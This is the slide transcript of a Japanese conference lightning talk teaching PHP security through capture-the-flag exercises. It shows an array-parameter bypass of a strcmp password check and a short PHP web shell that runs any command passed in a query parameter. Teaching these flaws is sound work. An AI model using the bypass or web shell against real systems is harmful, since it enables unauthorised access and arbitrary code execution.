Upgrade to Pro — share decks privately, control downloads, hide ads and more …

CTFで学ぶPHPセキュリティ

 CTFで学ぶPHPセキュリティ

PHPerKaigi 2019
ルーキーズLT

Ryoto Saito

March 31, 2019
Tweet

More Decks by Ryoto Saito

Other Decks in Programming

Transcript

  1. CTF Capture the Flag • 情報セキュリティ的に脆弱な 「何か」が用意される • その脆弱性を突いてFlagを取得 する競技

    ※ Flag = 仮想的な機密文字列 flag{PHP_is_s3cur3!} ↑過去に本当に見たことあるやつ • 問題ベースで楽しくセキュリティ が勉強できる! • 徳丸さんの挑戦状もCTF 4
  2. 前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)

    == 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 9
  3. 前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)

    == 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 10
  4. 言語仕様に関する問題 13 if (strcmp($_GET['password'], PASSWORD) == 0) strcmpは配列や関数などを受け取るとnull+Warningを返す) <?php var_dump($_GET);

    http://localhost/dump.php?password[]=admin にアクセス↓ array(1) { ["password"] => array(1) { [0] => string(5) "admin" } }
  5. include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==

    0) { echo FLAG; } 目標:なんとか突破したい! 先ほどのヒントを踏まえると… 言語仕様に関する問題 14
  6. include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==

    0) { echo FLAG; } 目標:なんとか突破したい! Ans: http://target.host/?password[]= 言語仕様に関する問題 15
  7. Ans. 以下のPHPファイルをアップロード <?php $cmd = $_GET['cmd'] $process = proc_open($cmd, [1=>["pipe",

    "w"]], $pipes); echo stream_get_contents($pipes[1]); これを1回アップロードすれば?cmd=...でやりたい放題 任意コード実行 20